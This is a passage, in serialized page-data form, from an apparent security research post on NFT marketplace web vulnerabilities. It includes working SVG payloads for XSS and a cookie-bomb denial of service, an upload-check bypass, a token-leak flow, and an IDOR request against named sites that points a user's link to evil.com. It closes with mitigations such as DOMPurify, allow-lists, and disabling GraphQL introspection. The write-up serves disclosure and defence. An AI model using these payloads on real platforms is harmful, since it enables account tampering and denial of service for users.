xmlns",{"type":21,"tag":153,"props":36974,"children":36975},{"style":198},[36976],{"type":26,"value":2367},{"type":21,"tag":153,"props":36978,"children":36979},{"style":671},[36980],{"type":26,"value":36981},"\"http://www.w3.org/2000/svg\"",{"type":21,"tag":153,"props":36983,"children":36984},{"style":35069},[36985],{"type":26,"value":4308},{"type":21,"tag":153,"props":36987,"children":36988},{"class":155,"line":382},[36989,36993,36998,37002,37006,37010,37014],{"type":21,"tag":153,"props":36990,"children":36991},{"style":35069},[36992],{"type":26,"value":35088},{"type":21,"tag":153,"props":36994,"children":36995},{"style":170},[36996],{"type":26,"value":36997},"title",{"type":21,"tag":153,"props":36999,"children":37000},{"style":35069},[37001],{"type":26,"value":13182},{"type":21,"tag":153,"props":37003,"children":37004},{"style":160},[37005],{"type":26,"value":33932},{"type":21,"tag":153,"props":37007,"children":37008},{"style":35069},[37009],{"type":26,"value":35123},{"type":21,"tag":153,"props":37011,"children":37012},{"style":170},[37013],{"type":26,"value":36997},{"type":21,"tag":153,"props":37015,"children":37016},{"style":35069},[37017],{"type":26,"value":4308},{"type":21,"tag":153,"props":37019,"children":37020},{"class":155,"line":501},[37021,37025,37029,37033,37037,37042],{"type":21,"tag":153,"props":37022,"children":37023},{"style":35069},[37024],{"type":26,"value":35088},{"type":21,"tag":153,"props":37026,"children":37027},{"style":170},[37028],{"type":26,"value":35109},{"type":21,"tag":153,"props":37030,"children":37031},{"style":192},[37032],{"type":26,"value":35234},{"type":21,"tag":153,"props":37034,"children":37035},{"style":198},[37036],{"type":26,"value":2367},{"type":21,"tag":153,"props":37038,"children":37039},{"style":671},[37040],{"type":26,"value":37041},"\"text/javascript\"",{"type":21,"tag":153,"props":37043,"children":37044},{"style":35069},[37045],{"type":26,"value":4308},{"type":21,"tag":153,"props":37047,"children":37048},{"class":155,"line":533},[37049],{"type":21,"tag":153,"props":37050,"children":37051},{"style":160},[37052],{"type":26,"value":37053},"   alert(document.domain);\n",{"type":21,"tag":153,"props":37055,"children":37056},{"class":155,"line":542},[37057,37062,37066],{"type":21,"tag":153,"props":37058,"children":37059},{"style":35069},[37060],{"type":26,"value":37061},"   \u003C/",{"type":21,"tag":153,"props":37063,"children":37064},{"style":170},[37065],{"type":26,"value":35109},{"type":21,"tag":153,"props":37067,"children":37068},{"style":35069},[37069],{"type":26,"value":4308},{"type":21,"tag":153,"props":37071,"children":37072},{"class":155,"line":762},[37073,37078,37082],{"type":21,"tag":153,"props":37074,"children":37075},{"style":35069},[37076],{"type":26,"value":37077}," \u003C/",{"type":21,"tag":153,"props":37079,"children":37080},{"style":170},[37081],{"type":26,"value":36967},{"type":21,"tag":153,"props":37083,"children":37084},{"style":35069},[37085],{"type":26,"value":4308},{"type":21,"tag":22,"props":37087,"children":37088},{},[37089,37091,37098],{"type":26,"value":37090},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":21,"tag":29,"props":37092,"children":37095},{"href":37093,"rel":37094},"https://xtingles.com/",[33],[37096],{"type":26,"value":37097},"xtingles Marketplace",{"type":26,"value":355},{"type":21,"tag":22,"props":37100,"children":37101},{},[37102],{"type":26,"value":37103},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":21,"tag":22,"props":37105,"children":37106},{},[37107],{"type":26,"value":37108},"Below, we show you how we did it.",{"type":21,"tag":22,"props":37110,"children":37111},{},[37112],{"type":26,"value":37113},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":21,"tag":22,"props":37115,"children":37116},{},[37117],{"type":21,"tag":3644,"props":37118,"children":37120},{"alt":7,"src":37119},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":21,"tag":22,"props":37122,"children":37123},{},[37124],{"type":26,"value":37125},"After changing the extension inside the file name.",{"type":21,"tag":22,"props":37127,"children":37128},{},[37129],{"type":21,"tag":3644,"props":37130,"children":37132},{"alt":7,"src":37131},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":21,"tag":114,"props":37134,"children":37136},{"id":37135},"svgs-return",[37137],{"type":26,"value":37138},"SVGs Return",{"type":21,"tag":22,"props":37140,"children":37141},{},[37142],{"type":26,"value":37143},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":21,"tag":22,"props":37145,"children":37146},{},[37147],{"type":26,"value":37148},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":21,"tag":22,"props":37150,"children":37151},{},[37152],{"type":26,"value":37153},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":21,"tag":143,"props":37155,"children":37159},{"className":37156,"code":37157,"language":37158,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n   var Set_Cookie = Array(10000).join('a');\n\n   for (var i = 1; i \u003C 99; i++) {\n    document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n   }\n   \u003C/script>\n \u003C/svg>\n","jsx",[37160],{"type":21,"tag":78,"props":37161,"children":37162},{"__ignoreMap":7},[37163,37202,37233,37240,37267,37298,37325,37333,37341,37348,37360,37435,37443,37458],{"type":21,"tag":153,"props":37164,"children":37165},{"class":155,"line":156},[37166,37170,37174,37178,37182,37186,37190,37194,37198],{"type":21,"tag":153,"props":37167,"children":37168},{"style":198},[37169],{"type":26,"value":36873},{"type":21,"tag":153,"props":37171,"children":37172},{"style":192},[37173],{"type":26,"value":36878},{"type":21,"tag":153,"props":37175,"children":37176},{"style":192},[37177],{"type":26,"value":36883},{"type":21,"tag":153,"props":37179,"children":37180},{"style":198},[37181],{"type":26,"value":2367},{"type":21,"tag":153,"props":37183,"children":37184},{"style":671},[37185],{"type":26,"value":36892},{"type":21,"tag":153,"props":37187,"children":37188},{"style":192},[37189],{"type":26,"value":36897},{"type":21,"tag":153,"props":37191,"children":37192},{"style":198},[37193],{"type":26,"value":2367},{"type":21,"tag":153,"props":37195,"children":37196},{"style":671},[37197],{"type":26,"value":36906},{"type":21,"tag":153,"props":37199,"children":37200},{"style":198},[37201],{"type":26,"value":36911},{"type":21,"tag":153,"props":37203,"children":37204},{"class":155,"line":166},[37205,37209,37213,37217,37221,37225,37229],{"type":21,"tag":153,"props":37206,"children":37207},{"style":198},[37208],{"type":26,"value":36919},{"type":21,"tag":153,"props":37210,"children":37211},{"style":192},[37212],{"type":26,"value":36924},{"type":21,"tag":153,"props":37214,"children":37215},{"style":192},[37216],{"type":26,"value":36929},{"type":21,"tag":153,"props":37218,"children":37219},{"style":192},[37220],{"type":26,"value":36934},{"type":21,"tag":153,"props":37222,"children":37223},{"style":671},[37224],{"type":26,"value":36939},{"type":21,"tag":153,"props":37226,"children":37227},{"style":671},[37228],{"type":26,"value":36944},{"type":21,"tag":153,"props":37230,"children":37231},{"style":198},[37232],{"type":26,"value":4308},{"type":21,"tag":153,"props":37234,"children":37235},{"class":155,"line":225},[37236],{"type":21,"tag":153,"props":37237,"children":37238},{"emptyLinePlaceholder":16},[37239],{"type":26,"value":759},{"type":21,"tag":153,"props":37241,"children":37242},{"class":155,"line":239},[37243,37247,37251,37255,37259,37263],{"type":21,"tag":153,"props":37244,"children":37245},{"style":35069},[37246],{"type":26,"value":4094},{"type":21,"tag":153,"props":37248,"children":37249},{"style":170},[37250],{"type":26,"value":36967},{"type":21,"tag":153,"props":37252,"children":37253},{"style":192},[37254],{"type":26,"value":36972},{"type":21,"tag":153,"props":37256,"children":37257},{"style":198},[37258],{"type":26,"value":2367},{"type":21,"tag":153,"props":37260,"children":37261},{"style":671},[37262],{"type":26,"value":36981},{"type":21,"tag":153,"props":37264,"children":37265},{"style":35069},[37266],{"type":26,"value":4308},{"type":21,"tag":153,"props":37268,"children":37269},{"class":155,"line":382},[37270,37274,37278,37282,37286,37290,37294],{"type":21,"tag":153,"props":37271,"children":37272},{"style":35069},[37273],{"type":26,"value":35088},{"type":21,"tag":153,"props":37275,"children":37276},{"style":170},[37277],{"type":26,"value":36997},{"type":21,"tag":153,"props":37279,"children":37280},{"style":35069},[37281],{"type":26,"value":13182},{"type":21,"tag":153,"props":37283,"children":37284},{"style":160},[37285],{"type":26,"value":33932},{"type":21,"tag":153,"props":37287,"children":37288},{"style":35069},[37289],{"type":26,"value":35123},{"type":21,"tag":153,"props":37291,"children":37292},{"style":170},[37293],{"type":26,"value":36997},{"type":21,"tag":153,"props":37295,"children":37296},{"style":35069},[37297],{"type":26,"value":4308},{"type":21,"tag":153,"props":37299,"children":37300},{"class":155,"line":501},[37301,37305,37309,37313,37317,37321],{"type":21,"tag":153,"props":37302,"children":37303},{"style":35069},[37304],{"type":26,"value":35088},{"type":21,"tag":153,"props":37306,"children":37307},{"style":170},[37308],{"type":26,"value":35109},{"type":21,"tag":153,"props":37310,"children":37311},{"style":192},[37312],{"type":26,"value":35234},{"type":21,"tag":153,"props":37314,"children":37315},{"style":198},[37316],{"type":26,"value":2367},{"type":21,"tag":153,"props":37318,"children":37319},{"style":671},[37320],{"type":26,"value":37041},{"type":21,"tag":153,"props":37322,"children":37323},{"style":35069},[37324],{"type":26,"value":4308},{"type":21,"tag":153,"props":37326,"children":37327},{"class":155,"line":533},[37328],{"type":21,"tag":153,"props":37329,"children":37330},{"style":160},[37331],{"type":26,"value":37332},"   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":21,"tag":153,"props":37334,"children":37335},{"class":155,"line":542},[37336],{"type":21,"tag":153,"props":37337,"children":37338},{"style":160},[37339],{"type":26,"value":37340},"   var Set_Cookie = Array(10000).join('a');\n",{"type":21,"tag":153,"props":37342,"children":37343},{"class":155,"line":762},[37344],{"type":21,"tag":153,"props":37345,"children":37346},{"emptyLinePlaceholder":16},[37347],{"type":26,"value":759},{"type":21,"tag":153,"props":37349,"children":37350},{"class":155,"line":776},[37351,37356],{"type":21,"tag":153,"props":37352,"children":37353},{"style":160},[37354],{"type":26,"value":37355},"   for (var i = 1; i \u003C 99; i++) ",{"type":21,"tag":153,"props":37357,"children":37358},{"style":170},[37359],{"type":26,"value":13601},{"type":21,"tag":153,"props":37361,"children":37362},{"class":155,"line":795},[37363,37368,37372,37377,37381,37386,37391,37395,37399,37404,37408,37413,37417,37422,37426,37431],{"type":21,"tag":153,"props":37364,"children":37365},{"style":192},[37366],{"type":26,"value":37367},"    document",{"type":21,"tag":153,"props":37369,"children":37370},{"style":198},[37371],{"type":26,"value":355},{"type":21,"tag":153,"props":37373,"children":37374},{"style":192},[37375],{"type":26,"value":37376},"cookie",{"type":21,"tag":153,"props":37378,"children":37379},{"style":198},[37380],{"type":26,"value":35605},{"type":21,"tag":153,"props":37382,"children":37383},{"style":671},[37384],{"type":26,"value":37385},"'Cookie'",{"type":21,"tag":153,"props":37387,"children":37388},{"style":198},[37389],{"type":26,"value":37390}," + ",{"type":21,"tag":153,"props":37392,"children":37393},{"style":192},[37394],{"type":26,"value":6471},{"type":21,"tag":153,"props":37396,"children":37397},{"style":198},[37398],{"type":26,"value":37390},{"type":21,"tag":153,"props":37400,"children":37401},{"style":671},[37402],{"type":26,"value":37403},"'='",{"type":21,"tag":153,"props":37405,"children":37406},{"style":198},[37407],{"type":26,"value":37390},{"type":21,"tag":153,"props":37409,"children":37410},{"style":192},[37411],{"type":26,"value":37412},"Set_Cookie",{"type":21,"tag":153,"props":37414,"children":37415},{"style":198},[37416],{"type":26,"value":37390},{"type":21,"tag":153,"props":37418,"children":37419},{"style":671},[37420],{"type":26,"value":37421},"';Domain='",{"type":21,"tag":153,"props":37423,"children":37424},{"style":198},[37425],{"type":26,"value":37390},{"type":21,"tag":153,"props":37427,"children":37428},{"style":192},[37429],{"type":26,"value":37430},"Take_Domain",{"type":21,"tag":153,"props":37432,"children":37433},{"style":198},[37434],{"type":26,"value":1759},{"type":21,"tag":153,"props":37436,"children":37437},{"class":155,"line":808},[37438],{"type":21,"tag":153,"props":37439,"children":37440},{"style":170},[37441],{"type":26,"value":37442},"   }\n",{"type":21,"tag":153,"props":37444,"children":37445},{"class":155,"line":820},[37446,37450,37454],{"type":21,"tag":153,"props":37447,"children":37448},{"style":35069},[37449],{"type":26,"value":37061},{"type":21,"tag":153,"props":37451,"children":37452},{"style":170},[37453],{"type":26,"value":35109},{"type":21,"tag":153,"props":37455,"children":37456},{"style":35069},[37457],{"type":26,"value":4308},{"type":21,"tag":153,"props":37459,"children":37460},{"class":155,"line":842},[37461,37465,37469],{"type":21,"tag":153,"props":37462,"children":37463},{"style":35069},[37464],{"type":26,"value":37077},{"type":21,"tag":153,"props":37466,"children":37467},{"style":170},[37468],{"type":26,"value":36967},{"type":21,"tag":153,"props":37470,"children":37471},{"style":35069},[37472],{"type":26,"value":4308},{"type":21,"tag":22,"props":37474,"children":37475},{},[37476],{"type":26,"value":37477},"As a result, we're able to prevent the user from loading images.",{"type":21,"tag":66,"props":37479,"children":37481},{"id":37480},"authentication",[37482],{"type":26,"value":37483},"Authentication",{"type":21,"tag":22,"props":37485,"children":37486},{},[37487],{"type":21,"tag":5302,"props":37488,"children":37489},{},[37490,37492,37499],{"type":26,"value":37491},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":21,"tag":29,"props":37493,"children":37496},{"href":37494,"rel":37495},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[33],[37497],{"type":26,"value":37498},"great misfortune has occured",{"type":26,"value":355},{"type":21,"tag":114,"props":37501,"children":37503},{"id":37502},"verification-token-leakage",[37504],{"type":26,"value":37505},"Verification Token Leakage",{"type":21,"tag":22,"props":37507,"children":37508},{},[37509],{"type":26,"value":37510},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":21,"tag":22,"props":37512,"children":37513},{},[37514],{"type":26,"value":37515},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":21,"tag":22,"props":37517,"children":37518},{},[37519,37524],{"type":21,"tag":5302,"props":37520,"children":37521},{},[37522],{"type":26,"value":37523},"Proof of Concept",{"type":26,"value":37525},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":21,"tag":22,"props":37527,"children":37528},{},[37529],{"type":26,"value":37530},"Here's the breakdown.",{"type":21,"tag":22,"props":37532,"children":37533},{},[37534],{"type":26,"value":37535},"First, we send the verification link to a user's email:",{"type":21,"tag":34041,"props":37537,"children":37538},{"style":34043},[37539],{"type":21,"tag":3644,"props":37540,"children":37544},{"src":37541,"alt":37542,"style":37543},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":21,"tag":22,"props":37546,"children":37547},{},[37548],{"type":26,"value":37549},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":21,"tag":114,"props":37551,"children":37553},{"id":37552},"idor",[37554],{"type":26,"value":37555},"IDOR",{"type":21,"tag":22,"props":37557,"children":37558},{},[37559],{"type":21,"tag":5302,"props":37560,"children":37561},{},[37562,37564,37571],{"type":26,"value":37563},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":21,"tag":29,"props":37565,"children":37568},{"href":37566,"rel":37567},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[33],[37569],{"type":26,"value":37570},"insect",{"type":26,"value":355},{"type":21,"tag":22,"props":37573,"children":37574},{},[37575,37577,37583],{"type":26,"value":37576},"During a security assessment of the ",{"type":21,"tag":29,"props":37578,"children":37581},{"href":37579,"rel":37580},"https://rocki.com",[33],[37582],{"type":26,"value":33979},{"type":26,"value":37584},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":21,"tag":22,"props":37586,"children":37587},{},[37588],{"type":26,"value":37589},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":21,"tag":22,"props":37591,"children":37592},{},[37593],{"type":26,"value":37594},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":21,"tag":22,"props":37596,"children":37597},{},[37598,37600,37606,37608,37613],{"type":26,"value":37599},"Here is an example of a request that modifies another user's social media link to ",{"type":21,"tag":78,"props":37601,"children":37603},{"className":37602},[],[37604],{"type":26,"value":37605},"https://evil.com/",{"type":26,"value":37607},". To achieve this, we simply changed the ",{"type":21,"tag":78,"props":37609,"children":37611},{"className":37610},[],[37612],{"type":26,"value":6227},{"type":26,"value":37614}," field value to one that belongs to another user:",{"type":21,"tag":22,"props":37616,"children":37617},{},[37618],{"type":21,"tag":3644,"props":37619,"children":37621},{"alt":7,"src":37620},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":21,"tag":22,"props":37623,"children":37624},{},[37625],{"type":26,"value":37626},"The following screenshot is the response to our request:",{"type":21,"tag":22,"props":37628,"children":37629},{},[37630],{"type":21,"tag":3644,"props":37631,"children":37633},{"alt":7,"src":37632},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":21,"tag":66,"props":37635,"children":37637},{"id":37636},"preventative-action-steps-for-marketplaces",[37638],{"type":21,"tag":8055,"props":37639,"children":37640},{},[37641],{"type":26,"value":37642},"Preventative Action Steps for Marketplaces",{"type":21,"tag":22,"props":37644,"children":37645},{},[37646],{"type":26,"value":37647},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":21,"tag":22,"props":37649,"children":37650},{},[37651,37653,37659,37661,37667],{"type":26,"value":37652},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":21,"tag":78,"props":37654,"children":37656},{"className":37655},[],[37657],{"type":26,"value":37658},"innerText",{"type":26,"value":37660}," instead of ",{"type":21,"tag":78,"props":37662,"children":37664},{"className":37663},[],[37665],{"type":26,"value":37666},"innerHTML",{"type":26,"value":37668}," in client-side:",{"type":21,"tag":143,"props":37670,"children":37672},{"className":34058,"code":37671,"language":34060,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[37673],{"type":21,"tag":78,"props":37674,"children":37675},{"__ignoreMap":7},[37676],{"type":21,"tag":153,"props":37677,"children":37678},{"class":155,"line":156},[37679,37683,37687,37692,37696,37701,37705,37709,37713,37718],{"type":21,"tag":153,"props":37680,"children":37681},{"style":192},[37682],{"type":26,"value":35401},{"type":21,"tag":153,"props":37684,"children":37685},{"style":160},[37686],{"type":26,"value":355},{"type":21,"tag":153,"props":37688,"children":37689},{"style":181},[37690],{"type":26,"value":37691},"getElementById",{"type":21,"tag":153,"props":37693,"children":37694},{"style":160},[37695],{"type":26,"value":189},{"type":21,"tag":153,"props":37697,"children":37698},{"style":671},[37699],{"type":26,"value":37700},"'nftCollectionName'",{"type":21,"tag":153,"props":37702,"children":37703},{"style":160},[37704],{"type":26,"value":23436},{"type":21,"tag":153,"props":37706,"children":37707},{"style":192},[37708],{"type":26,"value":37658},{"type":21,"tag":153,"props":37710,"children":37711},{"style":198},[37712],{"type":26,"value":255},{"type":21,"tag":153,"props":37714,"children":37715},{"style":192},[37716],{"type":26,"value":37717}," nftCollectionName",{"type":21,"tag":153,"props":37719,"children":37720},{"style":160},[37721],{"type":26,"value":1759},{"type":21,"tag":22,"props":37723,"children":37724},{},[37725],{"type":26,"value":37726},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":21,"tag":143,"props":37728,"children":37730},{"className":34058,"code":37729,"language":34060,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[37731],{"type":21,"tag":78,"props":37732,"children":37733},{"__ignoreMap":7},[37734],{"type":21,"tag":153,"props":37735,"children":37736},{"class":155,"line":156},[37737,37741,37746,37750,37755,37759,37764,37768,37773],{"type":21,"tag":153,"props":37738,"children":37739},{"style":170},[37740],{"type":26,"value":2646},{"type":21,"tag":153,"props":37742,"children":37743},{"style":192},[37744],{"type":26,"value":37745}," sanitizedInput",{"type":21,"tag":153,"props":37747,"children":37748},{"style":198},[37749],{"type":26,"value":255},{"type":21,"tag":153,"props":37751,"children":37752},{"style":192},[37753],{"type":26,"value":37754}," DOMPurify",{"type":21,"tag":153,"props":37756,"children":37757},{"style":160},[37758],{"type":26,"value":355},{"type":21,"tag":153,"props":37760,"children":37761},{"style":181},[37762],{"type":26,"value":37763},"sanitize",{"type":21,"tag":153,"props":37765,"children":37766},{"style":160},[37767],{"type":26,"value":189},{"type":21,"tag":153,"props":37769,"children":37770},{"style":192},[37771],{"type":26,"value":37772},"userInput",{"type":21,"tag":153,"props":37774,"children":37775},{"style":160},[37776],{"type":26,"value":530},{"type":21,"tag":22,"props":37778,"children":37779},{},[37780,37782,37789],{"type":26,"value":37781},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":21,"tag":29,"props":37783,"children":37786},{"href":37784,"rel":37785},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[33],[37787],{"type":26,"value":37788},"Content-Security-Policy",{"type":26,"value":37790}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":21,"tag":22,"props":37792,"children":37793},{},[37794],{"type":26,"value":37795},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":21,"tag":22,"props":37797,"children":37798},{},[37799,37801,37808],{"type":26,"value":37800},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":21,"tag":29,"props":37802,"children":37805},{"href":37803,"rel":37804},"https://www.techtarget.com/whatis/definition/whitelist",[33],[37806],{"type":26,"value":37807},"allow-list",{"type":26,"value":37809}," :",{"type":21,"tag":143,"props":37811,"children":37813},{"className":34058,"code":37812,"language":34060,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n  throw new ApolloError('invalid domain');\n}\n",[37814],{"type":21,"tag":78,"props":37815,"children":37816},{"__ignoreMap":7},[37817,37846,37888,37918],{"type":21,"tag":153,"props":37818,"children":37819},{"class":155,"line":156},[37820,37824,37829,37833,37837,37842],{"type":21,"tag":153,"props":37821,"children":37822},{"style":170},[37823],{"type":26,"value":5085},{"type":21,"tag":153,"props":37825,"children":37826},{"style":192},[37827],{"type":26,"value":37828}," allowDomains",{"type":21,"tag":153,"props":37830,"children":37831},{"style":198},[37832],{"type":26,"value":255},{"type":21,"tag":153,"props":37834,"children":37835},{"style":160},[37836],{"type":26,"value":4236},{"type":21,"tag":153,"props":37838,"children":37839},{"style":671},[37840],{"type":26,"value":37841},"'https://allowed-domain'",{"type":21,"tag":153,"props":37843,"children":37844},{"style":160},[37845],{"type":26,"value":1234},{"type":21,"tag":153,"props":37847,"children":37848},{"class":155,"line":166},[37849,37853,37857,37861,37866,37870,37875,37879,37883],{"type":21,"tag":153,"props":37850,"children":37851},{"style":1751},[37852],{"type":26,"value":2338},{"type":21,"tag":153,"props":37854,"children":37855},{"style":160},[37856],{"type":26,"value":5820},{"type":21,"tag":153,"props":37858,"children":37859},{"style":198},[37860],{"type":26,"value":23315},{"type":21,"tag":153,"props":37862,"children":37863},{"style":192},[37864],{"type":26,"value":37865},"allowDomains",{"type":21,"tag":153,"props":37867,"children":37868},{"style":160},[37869],{"type":26,"value":355},{"type":21,"tag":153,"props":37871,"children":37872},{"style":181},[37873],{"type":26,"value":37874},"includes",{"type":21,"tag":153,"props":37876,"children":37877},{"style":160},[37878],{"type":26,"value":189},{"type":21,"tag":153,"props":37880,"children":37881},{"style":192},[37882],{"type":26,"value":35411},{"type":21,"tag":153,"props":37884,"children":37885},{"style":160},[37886],{"type":26,"value":37887},")) {\n",{"type":21,"tag":153,"props":37889,"children":37890},{"class":155,"line":225},[37891,37896,37900,37905,37909,37914],{"type":21,"tag":153,"props":37892,"children":37893},{"style":1751},[37894],{"type":26,"value":37895},"  throw",{"type":21,"tag":153,"props":37897,"children":37898},{"style":170},[37899],{"type":26,"value":34627},{"type":21,"tag":153,"props":37901,"children":37902},{"style":181},[37903],{"type":26,"value":37904}," ApolloError",{"type":21,"tag":153,"props":37906,"children":37907},{"style":160},[37908],{"type":26,"value":189},{"type":21,"tag":153,"props":37910,"children":37911},{"style":671},[37912],{"type":26,"value":37913},"'invalid domain'",{"type":21,"tag":153,"props":37915,"children":37916},{"style":160},[37917],{"type":26,"value":530},{"type":21,"tag":153,"props":37919,"children":37920},{"class":155,"line":239},[37921],{"type":21,"tag":153,"props":37922,"children":37923},{"style":160},[37924],{"type":26,"value":548},{"type":21,"tag":22,"props":37926,"children":37927},{},[37928,37930,37937,37939,37946],{"type":26,"value":37929},"As ",{"type":21,"tag":29,"props":37931,"children":37934},{"href":37932,"rel":37933},"https://graphql.org/",[33],[37935],{"type":26,"value":37936},"GraphQl",{"type":26,"value":37938}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":21,"tag":29,"props":37940,"children":37943},{"href":37941,"rel":37942},"https://graphql.org/learn/introspection/",[33],[37944],{"type":26,"value":37945},"introspection",{"type":26,"value":37947}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":21,"tag":143,"props":37949,"children":37951},{"className":34058,"code":37950,"language":34060,"meta":7,"style":7},"const server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  introspection: false,\n});\n",[37952],{"type":21,"tag":78,"props":37953,"children":37954},{"__ignoreMap":7},[37955,37984,37996,38008,38024],{"type":21,"tag":153,"props":37956,"children":37957},{"class":155,"line":156},[37958,37962,37967,37971,37975,37980],{"type":21,"tag":153,"props":37959,"children":37960},{"style":170},[37961],{"type":26,"value":5085},{"type":21,"tag":153,"props":37963,"children":37964},{"style":192},[37965],{"type":26,"value":37966}," server",{"type":21,"tag":153,"props":37968,"children":37969},{"style":198},[37970],{"type":26,"value":255},{"type":21,"tag":153,"props":37972,"children":37973},{"style":170},[37974],{"type":26,"value":34627},{"type":21,"tag":153,"props":37976,"children":37977},{"style":181},[37978],{"type":26,"value":37979}," ApolloServer",{"type":21,"tag":153,"props":37981,"children":37982},{"style":160},[37983],{"type":26,"value":17840},{"type":21,"tag":153,"props":37985,"children":37986},{"class":155,"line":166},[37987,37992],{"type":21,"tag":153,"props":37988,"children":37989},{"style":192},[37990],{"type":26,"value":37991},"  typeDefs",{"type":21,"tag":153,"props":37993,"children":37994},{"style":160},[37995],{"type":26,"value":792},{"type":21,"tag":153,"props":37997,"children":37998},{"class":155,"line":225},[37999,38004],{"type":21,"tag":153,"props":38000,"children":38001},{"style":192},[38002],{"type":26,"value":38003},"  resolvers",{"type":21,"tag":153,"props":38005,"children":38006},{"style":160},[38007],{"type":26,"value":792},{"type":21,"tag":153,"props":38009,"children":38010},{"class":155,"line":239},[38011,38016,38020],{"type":21,"tag":153,"props":38012,"children":38013},{"style":192},[38014],{"type":26,"value":38015},"  introspection:",{"type":21,"tag":153,"props":38017,"children":38018},{"style":170},[38019],{"type":26,"value":11782},{"type":21,"tag":153,"props":38021,"children":38022},{"style":160},[38023],{"type":26,"value":792},{"type":21,"tag":153,"props":38025,"children":38026},{"class":155,"line":382},[38027],{"type":21,"tag":153,"props":38028,"children":38029},{"style":160},[38030],{"type":26,"value":38031},"});\n",{"type":21,"tag":22,"props":38033,"children":38034},{},[38035,38037,38044,38046,38053],{"type":26,"value":38036},"Similarly, when ",{"type":21,"tag":29,"props":38038,"children":38041},{"href":38039,"rel":38040},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[33],[38042],{"type":26,"value":38043},"batching",{"type":26,"value":38045}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":21,"tag":29,"props":38047,"children":38050},{"href":38048,"rel":38049},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[33],[38051],{"type":26,"value":38052},"denial-of-service",{"type":26,"value":38054}," (DoS) attacks.",{"type":21,"tag":22,"props":38056,"children":38057},{},[38058],{"type":26,"value":38059},"Lastly, NFT marketplaces should pay close attention to authentication and 